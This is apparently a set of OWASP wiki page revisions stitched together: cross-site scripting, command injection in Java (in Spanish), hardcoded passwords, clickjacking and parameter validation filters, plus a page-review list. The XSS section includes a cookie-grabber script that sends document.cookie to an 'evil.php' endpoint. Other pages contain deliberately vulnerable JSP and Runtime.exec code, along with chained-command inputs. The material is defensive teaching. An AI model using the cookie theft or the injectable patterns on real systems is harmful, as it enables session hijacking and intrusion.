ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>
</pre>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

=== Attack Examples ===

'''Example 1 : Cookie Grabber'''

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<pre>
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
</pre>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

===Error Page Example===

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error
page. We may use the code below as an example to inform user about what specific page is missing:
<pre>
<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>
</pre>
Let's see how it works:
<pre>
http://testsite.test/file_which_not_exist
</pre>
In response we get:
<pre>
Not found: /file_which_not_exist
</pre>
Now we will try to force the error page to include our code:
<pre>
http://testsite.test/<script>alert("TEST");</script>
</pre>
The result is:
<pre>
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
</pre>
We have successfully injected the code, our XSS! What does it mean? For example, that we
may use this flaw to try to steal a user's session cookie.



==Related [[Attacks]]==
* [[XSS Attacks]]
* [[:Category:Injection Attack]]
* [[Invoking untrusted mobile code]]
* [[Cross Site History Manipulation (XSHM)]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]
* [[Cross Site Scripting Flaw]]
* [[Types of Cross-Site Scripting]]

==Related [[Controls]]==
* [[:Category:Input Validation]]
* [[HTML Entity Encoding]]
* [[Output Validation]]
* [[Canonicalization]]

==References==
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]]
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* OWASP [[XSS Filter Evasion Cheat Sheet]]
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com
<br>

[[Category:Injection]]
[[Category:OWASP Top Ten Project]]
[[Category:Code Snippet]]
[[Category:Security Focus Area]]
[[Category:Attack]]
[[Category:Popular]]

OWASP Java Project WIPRO 1 2015

2016-02-14T11:52:53Z

Imifos: /* Pages List */

<div style="width:100%;border:0,margin:0;overflow: hidden;">[[File:OWASP_Java_Project_Header.png|link=]]</div>
<br>

<center>
<p style="font-size: 1.8em;">Wiki Pages Review Operation - 2015/2016</p>
</center>

<br>

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;width:100%" |

91 Pages in category "OWASP Java Pages" have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome.

Shared Google document used to comment and review:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

| valign="top" style="padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

<br/>

== Meta ==

* Start: 12/2015
* Last Update: 12/2015

<br/>

== Other Resources ==

N/A

<br/>

| valign="top" style="padding-left:25px;min-width:200px;" |

==Classifications==



|}

= Pages List =

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

{| class="wikitable"
! Page
! Status
! Review
! Operations
|-
|[[Bytecode obfuscation]]
|
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation
|
|-
|[[Captchas in Java ]]
|
|Updated and not of interest. Marked for deletion.
|
|-
|[[Clickjacking Protection for Java EE]]
|
|Flagged for deletion, reason stated on page.
|
|-
|[[Command injection in Java]]
|
|Marked for review.
|
|-
|[[Comparing classes by name ]]
|
|Marked for review
|
|-
|[[Complejidad Y Longitud De Las Contraseñas ]]
|
|
|
|-
|[[Content Security Policy ]]
|
|
|
|-
|[[CORS OriginHeaderScrutiny]]
|
|
|
|-
|[[CORS RequestPreflighScrutiny]]
|
|
|
|-
|[[Cross-site Scripting (XSS) ]]
|
|
|
|-
|[[Declarative Access Control in Java]]
|
|
|
|-
|[[Decompiling Java bytecode]]
|
|
|
|-
|[[Deserialization of untrusted data]]
|
|
|
|-
|[[Detect profiling phase into web application]]
|
|
|
|-
|[[Digital Signature Implementation in Java]]
|
|
|
|-
|[[Exception handling techniques ]]
|
|
|
|-
|[[Failure to follow guideline/specification ]]
|
|
|
|-
|[[Hacking Java Clients ]]
|
|
|
|-
|[[Hashing Java]]
| UNDER REVIEW
| The current version is unmaintained. Mark Gordon volountered to review the information, and bring it to the State-Of-The-Art-2015. Thank you!
|
|-
|[[Hibernate]]
|
|
|
|-
|[[Hibernate-Guidelines ]]
|
|
|
|-
|[[How to add validation logic to HttpServletRequest]]
|
|
|
|-
|[[How to encrypt a properties file ]]
|
|
|
|-
|[[Implementacion De Firmas Digitales en Java]]
|
|
|
|-
|[[Improper Data Validation]]
|
|
|
|-
|[[Improper temp file opening ]]
|
|
|
|-
|[[Information Leakage]]
|
|
|
|-
|[[Insecure Randomness]]
|
|
|
|-
|[[Insecure Transport]]
|
|
|
|-
|[[Insufficient Session-ID Length]]
|
|
|
|-
|[[Invoking untrusted mobile code]]
|
|
|
|-
|[[Inyección De Comandos En Java ]]
|
|
|
|-
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]
|
|
|
|-
|[[J2EE third party libraries insecurity]]
|
|
|
|-
|[[JAAS Timed Login Module ]]
|
|
|
|-
|[[JAAS Tomcat Login Module]]
|
|
|
|-
|[[Java Project Article Wishlist ]]
|
|
|
|-
|[[Java Security Frameworks]]
|
|
|
|-
|[[Java Security Resources ]]
|
|
|
|-
|[[Java Server Faces ]]
|
|
|
|-
|[[JSP errorPage]]
|
|
|
|-
|[[JSP JSTL ]]
|
|
|
|-
|[[Leftover Debug Code]]
|
|
|
|-
|[[Log Forging ]]
|
|
|
|-
|[[Logout]]
|
|
|
|-
|[[Member Field Race Condition]]
|
|
|
|-
|[[Missing Error Handling]]
|
|
|
|-
|[[Mobile Java Security ]]
|
|
|
|-
|[[Null Dereference]]
|
|
|
|-
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]
|
|
|
|-
|[[Often Misused: Authentication ]]
|
|
|
|-
|[[Overly-Broad Catch Block]]
|
|
|
|-
|[[Overly-Broad Throws Declaration]]
|
|
|
|-
|[[OWASP CSRFGuard Project/es ]]
|
|
|
|-
|[[OWASP Java Table of Contents]]
|
|
|
|-
|[[Parameter Validation Filter]]
|
|
|
|-
|[[Password length & complexity]]
|
|
|
|-
|[[Password Management: Hardcoded Password]]
|
|
|
|-
|[[Password Management: Weak Cryptography ]]
|
|
|
|-
|[[Password Plaintext Storage ]]
|
|
|
|-
|[[PDF Attack Filter for Java EE ]]
|
|
|
|-
|[[Poor Logging Practice]]
|
|
|
|-
|[[Preventing LDAP Injection in Java]]
|
|
|
|-
|[[Preventing SQL Injection in Java ]]
|
|
|
|-
|[[Process Control]]
|
|
|
|-
|[[Protecting code archives with digital signatures]]
|
|
|
|-
|[[Reflection attack in an auth protocol]]
|
|
|
|-
|[[Return Inside Finally Block]]
|
|
|
|-
|[[Securing tomcat]]
|
|
|
|-
|[[Servlet spec - web.xml]]
|
|
|
|-
|[[Session Fixation]]
|
|
|
|-
|[[Session Timeout]]
|
|
|
|-
|[[Signing jar files with jarsigner ]]
|
|
|
|-
|[[State synchronization error]]
|
|
|
|-
|[[Struts]]
|
|
|
|-
|[[Struts Validation in an ActionForm]]
|
|
|
|-
|[[Struts Validation in validator.xml using an ActionForm]]
|
|
|
|-
|[[Struts XSLT Viewer]]
|
|
|
|-
|[[Traducción Español]]
|
|
|
|-
|[[Trust Boundary Violation]]
|
|
|
|-
|[[Trustworthy Java]]
|
|
|
|-
|[[Uncaught exception]]
|
|
|
|-
|[[Unchecked Return Value: Missing Check against Null ]]
|
|
|
|-
|[[Unreleased Resource]]
|
|
|
|-
|[[Unsafe JNI]]
|
|
|
|-
|[[Unsafe Mobile Code]]
|
|
|
|-
|[[Unsafe Reflection ]]
|
|
|
|-
|[[Using JCaptcha ]]
|
|
|
|-
|[[Using the Java Cryptographic Extensions]]
|
|
|
|-
|[[Using the Java Secure Socket Extensions]]
|
|
|
|-
|[[XPATH Injection Java ]]
|
|
|
|-
|[[OWASP's_ESAPI_Wiki_for_Java!]]
| Check Project Status
|
| The entire ESAPI For Java project needs a review. In progress on ML.
|}

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

=About=

OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016

<br>

{{Template:Project About
| project_name =OWASP Java Project WIPRO 1 - 2015/2016
| project_description =
| project_license =
| leader_name1 =
| leader_email1 =
| leader_username1 =
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name =
| links_url1 =
| links_name1 =
| links_url2 =
| links_name2 =
}}

__NOTOC__
<headertabs />

<br/>

[[Category:Java]]

Inyección De Comandos En Java

2016-02-14T11:51:08Z

Imifos:

==Estado==
Review

==Introducción==
Las vulnerabilidades de este tipo permiten a un atacante inyectar arbitrariamente comandos del sistema en una aplicación. Estos comandos se ejecutan al mismo nivel de privilegios que la aplicación Java y proveen al atacante una funcionalidad similar a la de una Shell de Sistema Operativo. En Java, Runtime.exec es comúnmente usado para invocar a un nuevo proceso, pero esto no invoca una nueva Shell de comandos, lo que significa que usualmente encadenando o entubando múltiples comandos juntos no funciona. La inyección de comandos sin embargo es posible si el proceso engendrado con Runtime.exec es una Shell como command.com, cmd.exe o /bin/sh..

==Ejemplos ==

===Ejemplo 1===

El código detallado a continuación permite a un usuario el control de los argumentos del comando de Windows find. Mientras el usuario no posea control absoluto sobre los argumentos, no es posible inyectar comandos adicionales. Por ejemplo, ingresando “test & del file” no causará que el comando del se ejecute. Dado que Runtime.exec tokeniza la cadena de comando y luego invoca el comando find usando los parámetros “test”, “&”, “del” y “file”.

<pre>
import java.io.*;

public class Example1 {
public static void main(String[] args)
throws IOException {
if(args.length != 1) {
System.out.println("No arguments");
System.exit(1);
}
Runtime runtime = Runtime.getRuntime();
Process proc = runtime.exec("find" + " " + args[0]);

InputStream is = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);

String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
</pre>

===Ejemplo 2===

El código a continuación invoca una shell del sistema para ejecutar un commando no ejecutable usando lo ingresado por el usuario como parámetros. Comandos de Windows no ejecutables tales como dir y copy son parte del intérprete de comandos y por ende no pueden ser directamente invoados por Runtime.exec. En este caso, la inyección de comandos es posible y un atacante puede encadenar múltiples comandos juntos. Por ejemplo ingresando, “.& echo hello” causará que el comando dir liste los contenidos del directorio actual y el comando echo imprima un mensaje de saludo.

<pre>
import java.io.*;

public class Example2 {
public static void main(String[] args)
throws IOException {
if(args.length != 1) {
System.out.println("No arguments");
System.exit(1);
}
Runtime runtime = Runtime.getRuntime();
String[] cmd = new String[3];
cmd[0] = "cmd.exe" ;
cmd[1] = "/C";
cmd[2] = "dir " + args[0];
Process proc = runtime.exec(cmd);

InputStream is = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);

String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
</pre>

==Mejores Prácticas ==

Los desarrolladores deben evitar invocar la shell usando Runtime.exec para llamar a comandos del sistema operativo y en su defecto deben usar la API de Java. Por ejemplo, en vez de llamar lsor dir desde la sell se debe usar la clase Java File para la función de listado. Si es necesario que el usuario deba ingresar datos y pasarlos hacía Runtime.exec, y luego usar expresiones regulares para validar el ingreso.

[[Category:Java]]

Clickjacking Protection for Java EE

2016-02-14T11:48:28Z

Imifos: flagged for deletion

{{taggedDocument
| type=delete
| comment=Page content is outdated and topic explained too superficially for 2015 security state. Library is outdated and gives a false feeling of security as the topic is more complex than the library handles. Moreover the page is not related to Java EE but to Java based web applications in general.
}}

==Status==

Released Feb 6, 2009

==How to Stop ClickJacking==

This article shows how to prevent the IE8+ users of your Java EE application from getting clickjacked.

[[Clickjacking]] is an attack that tricks users by showing them an innocuous page but including the real controls from sensitive pages. These controls are disguised through the use of background frames that mask off everything except the control, so that the user can't tell that they are actually clicking on a sensitive function in some other website.

How can web applications protect their users from this attack? The typical defense to clickjacking is to prevent your pages from being framed. The typical approach to this is to include a "framebreaker" script in every page that ensures that the content is not framed. Here's an example of such a script.

<pre>
<script>if (top != self) top.location=location</script>
</pre>

* NOTE: this framebreaker is pretty simple. A better framebreaker will hide the entire page
and only redisplay if page is not being framed. An even better framebreaker than that will
not cause any change in the page-load experience. More to come soon!

However, there's an alternative approach that may be simpler to implement. Microsoft has now included a [http://blogs.msdn.com/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx defense] in IE8 that allows developers to specify that pages should not be framed. They use a new (nonstandard) X-FRAME-OPTIONS header to mark responses that shouldn't be framed. There are two options with X-FRAME-OPTIONS. The first is DENY, which prevents everyone from framing the content. The other option is SAMEORIGIN, which only allows the current site to frame the content. Currently this works in IE8, Firefox, Safari, Opera and Chrome.

==Approach==

We'd like to add the X-FRAME-OPTIONS header to any pages that shouldn't be framed. So we could go into every servlet and JSP and add one of the two following lines of code:

// to prevent all framing of this content
response.addHeader( "X-FRAME-OPTIONS", "DENY" );

// to allow framing of this content only by this site
response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );

However, this seems a bit intrusive and a lot of work. In this article, we'll implement a simple JavaEE filter to add the X-FRAME-OPTIONS header to some or all parts of your application.

==Download==

The source code and the compiled class file are in a single zip file.

'''[https://www.owasp.org/images/1/15/ClickjackFilter.zip DOWNLOAD]'''

'''Attention:''' The source listed below contains an update which is not part of the ClickjackFilter.zip. See [http://stackoverflow.com/questions/11371755/clickjacking-filter-to-add-x-frame-options-in-response].
Use the source listed below rather than the one in the zip file.

==Setup==

The first step is to add the filter to our application. All we have to do is put the ClickjackFilter class on our application's classpath, probably by putting it in the classes folder in WEB-INF. The class file should be in a folder structure that matches the package (org -> owasp -> filters -> ClickjackFilter). You can extract the class file from the zip file.

Then we just have to add the following filter definition and mapping to our web.xml. You should paste this in right above your servlet definitions. You should set up the mapping so it applies to '''any''' page that shouldn't be framed. Using /* will apply it to everything.

<pre>
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_ID" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>OWASP ClickjackFilter</display-name>
<filter>
<filter-name>ClickjackFilterDeny</filter-name>
<filter-class>org.owasp.filters.ClickjackFilter</filter-class>
<init-param>
<param-name>mode</param-name>
<param-value>DENY</param-value>
</init-param>
</filter>

<filter>
<filter-name>ClickjackFilterSameOrigin</filter-name>
<filter-class>org.owasp.filters.ClickjackFilter</filter-class>
<init-param>
<param-name>mode</param-name>
<param-value>SAMEORIGIN</param-value>
</init-param>
</filter>


<filter-mapping>
<filter-name>ClickjackFilterDeny</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>



</web-app>
</pre>

==Source Code==

<pre>
/**
* Software published by the Open Web Application Security Project (http://www.owasp.org)
* This software is licensed under the new BSD license.
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created February 6, 2009
*/

package org.owasp.filters;
import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletResponse;

public class ClickjackFilter implements Filter
{

private String mode = "DENY";

/**
* Add X-FRAME-OPTIONS response header to tell IE8 (and any other browsers who
* decide to implement) not to display this content in a frame. For details, please
* refer to http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx.
*/
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletResponse res = (HttpServletResponse)response;
res.addHeader("X-FRAME-OPTIONS", mode );
chain.doFilter(request, response);
}

public void destroy() {
}

public void init(FilterConfig filterConfig) {
String configMode = filterConfig.getInitParameter("mode");
if ( configMode != null ) {
mode = configMode;
}
}

}

</pre>

==Compile==

There are not many dependencies here, just the standard Java EE environment. You can compile with:

javac -classpath servlet-api.jar -d . *.java

Then just copy the 'org' folder that gets created to the WEB-INF/classes folder in your application. You could also jar it up and put it in the lib directory.

==Testing==

First, you'll need IE8 RC1+. I downloaded a free VHD of IE8 beta from [http://www.microsoft.com/downloads/details.aspx?FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&displaylang=en Microsoft] and then did a Windows Update to IE8 RC1. You'll need to install the free [http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx VirtualPC] to run this.

There's a very simple test case in the WebContent directory of the zip file. It has one page with the text "unframeable content" and another page that opens the first page in a frame. When you set the filter to DENY in web.xml, the page shows an error message that the content cannot be viewed in a frame. When you set it to SAMEORIGIN, the content is allowed.

You may want to check out the [http://evil.hackademix.net/frameopts/ demo] page that Giorgio Maone put together.

Password Management: Hardcoded Password

2016-02-14T11:24:38Z

Imifos:

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

Hardcoded passwords may compromise system security in a way that cannot be easily remedied.

It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. Once the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system will be forced to choose between security and availability.

==Risk Factors==

TBD

==Examples==

The following code uses a hardcoded password to connect to a database:

<pre>
...
DriverManager.getConnection(url, "scott", "tiger");
...
</pre>

This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

<pre>
javap -c ConnMngr.class

22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger

</pre>

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

TBD

[[Category:FIXME|add links

In addition, one should classify vulnerability based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Vulnerability]]</nowiki>

Availability Vulnerability

Authorization Vulnerability

Authentication Vulnerability

Concurrency Vulnerability

Configuration Vulnerability

Cryptographic Vulnerability

Encoding Vulnerability

Error Handling Vulnerability

Input Validation Vulnerability

Logging and Auditing Vulnerability

Session Management Vulnerability]]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Sensitive Data Protection Vulnerability]]
[[Category:Password Management Vulnerability]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Vulnerability]]

Parameter Validation Filter

2016-02-14T11:21:47Z

Imifos:

The library being demonstrated here is based off the ideas presented the article [[How_to_add_validation_logic_to_HttpServletRequest]], but fleshed out to be more flexible and easy to deploy. We call this library the (unimaginatively named) Parameter Validation Filter, or PVF.

PVF is implemented as a Servlet filter that intercepts requests to web pages, runs submitted parameters through a configurable sequence of validation rules, and either sanitises the parameters before they are sent through to the web application, or returns a HTTP error code if validation errors were detected.

We have made the following assumptions when developing this library:

* Client side validation will prevent legitimate users from submitting invalid data.
* The PVF library should prevent further processing if invalid data is submitted in the majority of cases.
* Occasionally it might be appropriate to sanitise submitted data, but any sanitisation should be trivial (like the removal of whitespace).

To make use of the PVF library, you’ll need to add it to your project. This artifact is currently in the Sonatype staging repo, so you'll need to add that repo to your Maven config. See http://stackoverflow.com/questions/13945757/how-do-you-import-a-maven-dependency-from-sonatype-org for details.

<dependency>
<groupId>com.matthewcasperson</groupId>
<artifactId>parameter_validation_filter</artifactId>
<version>1.0.0-SNAPSHOT</version>
</dependency>

The filter then needs to be added to the web.xml file with the following settings. You may want to configure the url-pattern to match the pages that you actually want to protect.

<filter>
<filter-name>ParameterValidationFilter</filter-name>
<filter-class>com.matthewcasperson.validation.filter.ParameterValidationFilter</filter-class>
<init-param>
<param-name>configFile</param-name>
<param-value>/WEB-INF/xml/pvf.xml</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>ParameterValidationFilter</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>

Finally you need to create a file called WEB-INF/xml/pvf.xml. This file defines the custom validation rules applied to the parameters being sent to your web applications.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<ParameterValidationChainDatabase>

<EnforcingMode>true</EnforcingMode>

<ParameterValidationChains>


<ParameterValidationDefinition>

<ParameterValidationRuleList>
<ParameterValidationRule>


<validationRuleName>com.matthewcasperson.validation.ruleimpl.TrimTextValidationRule</validationRuleName>
</ParameterValidationRule>
<ParameterValidationRule>

<validationRuleName>com.matthewcasperson.validation.ruleimpl.FailIfNotCanonicalizedValidationRule</validationRuleName>
</ParameterValidationRule>
<ParameterValidationRule>

<validationRuleName>com.matthewcasperson.validation.ruleimpl.FailIfContainsHTMLValidationRule</validationRuleName>
</ParameterValidationRule>
</ParameterValidationRuleList>

<paramNamePatternString>.*</paramNamePatternString>

<requestURIPatternString>.*</requestURIPatternString>

<paramNamePatternNegated>false</paramNamePatternNegated>

<requestURIPatternNegated>false</requestURIPatternNegated>
</ParameterValidationDefinition>
</ParameterValidationChains>
</ParameterValidationChainDatabase>

There are a few interesting elements in this XML configuration:

* paramNamePatternString, which has been configured to enable the validation chain to match all parameters

* requestURIPatternString, which has been configured to enable the chain to match all URIs

* The three elements called validationRuleName, which reference the full class name of the validation rules that will be applied to each parameter passed into our web application

Although this is a simple example, the three validation rules that have been implemented (TrimTextValidationRule, FailIfNotCanonicalizedValidationRule and FailIfContainsHTMLValidationRule) are quite effective at preventing a malicious user from submitting parameters that contain XSS code.

The first rule, TrimTextValidationRule, simply strips away any whitespace on either side of the parameter. This uses the trim() function any developer should be familiar with.

The second rule, FailIfNotCanonicalizedValidationRule, will prevent further processing if the supplied parameter has already been encoded. No legitimate user will have a need to supply text like %3Cscript%3EdoEvil()%3B%3C%2Fscript%3E, so any time encoded text is found we simply return with a HTTP 400 error code. This rule makes use of the ESAPI library supplied by OWASP.

Like the second rule, the third rule will prevent further processing if the supplied parameter has any special HTML characters. If you would like your customers to be able to pass through characters like &, this rule is too broad. However, it is almost always valid to block special HTML characters.

If you want to see how effective this simple validation chain is, check out the live demo at http://pvftest-matthewcasperson.rhcloud.com/. You may want to take a look at https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet to find some XSS patterns that are often used to bypass XSS filters.

Moving forward we will be looking to implement more targeted validation rules, especially those that can’t be easily implemented as regex matches (like making sure a date if after today, or that a number is between two values etc).

If you have any suggestions, or find any bugs, feel free to fork the code from our GitHub repo at https://github.com/mcasperson/ParameterValidationFilter . We do hope to get some public feedback in order to make this library as robust as it can be.

[[Category: How To]]
[[Category:Java]]
[[Category: OWASP Validation Project]]

OWASP Java Project WIPRO 1 2015

2016-02-14T11:20:59Z

Imifos:

<div style="width:100%;border:0,margin:0;overflow: hidden;">[[File:OWASP_Java_Project_Header.png|link=]]</div>
<br>

<center>
<p style="font-size: 1.8em;">Wiki Pages Review Operation - 2015/2016</p>
</center>

<br>

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;width:100%" |

91 Pages in category "OWASP Java Pages" have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome.

Shared Google document used to comment and review:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

| valign="top" style="padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

<br/>

== Meta ==

* Start: 12/2015
* Last Update: 12/2015

<br/>

== Other Resources ==

N/A

<br/>

| valign="top" style="padding-left:25px;min-width:200px;" |

==Classifications==



|}

= Pages List =

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

{| class="wikitable"
! Page
! Status
! Review
! Operations
|-
|[[Bytecode obfuscation]]
|
| Outdated, needs review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation
|
|-
|[[Captchas in Java ]]
|
|
|
|-
|[[Clickjacking Protection for Java EE]]
|
|
|
|-
|[[Command injection in Java]]
|
|
|
|-
|[[Comparing classes by name ]]
|
|
|
|-
|[[Complejidad Y Longitud De Las Contraseñas ]]
|
|
|
|-
|[[Content Security Policy ]]
|
|
|
|-
|[[CORS OriginHeaderScrutiny]]
|
|
|
|-
|[[CORS RequestPreflighScrutiny]]
|
|
|
|-
|[[Cross-site Scripting (XSS) ]]
|
|
|
|-
|[[Declarative Access Control in Java]]
|
|
|
|-
|[[Decompiling Java bytecode]]
|
|
|
|-
|[[Deserialization of untrusted data]]
|
|
|
|-
|[[Detect profiling phase into web application]]
|
|
|
|-
|[[Digital Signature Implementation in Java]]
|
|
|
|-
|[[Exception handling techniques ]]
|
|
|
|-
|[[Failure to follow guideline/specification ]]
|
|
|
|-
|[[Hacking Java Clients ]]
|
|
|
|-
|[[Hashing Java]]
| UNDER REVIEW
| The current version is unmaintained. Mark Gordon volountered to review the information, and bring it to the State-Of-The-Art-2015. Thank you!
|
|-
|[[Hibernate]]
|
|
|
|-
|[[Hibernate-Guidelines ]]
|
|
|
|-
|[[How to add validation logic to HttpServletRequest]]
|
|
|
|-
|[[How to encrypt a properties file ]]
|
|
|
|-
|[[Implementacion De Firmas Digitales en Java]]
|
|
|
|-
|[[Improper Data Validation]]
|
|
|
|-
|[[Improper temp file opening ]]
|
|
|
|-
|[[Information Leakage]]
|
|
|
|-
|[[Insecure Randomness]]
|
|
|
|-
|[[Insecure Transport]]
|
|
|
|-
|[[Insufficient Session-ID Length]]
|
|
|
|-
|[[Invoking untrusted mobile code]]
|
|
|
|-
|[[Inyección De Comandos En Java ]]
|
|
|
|-
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]
|
|
|
|-
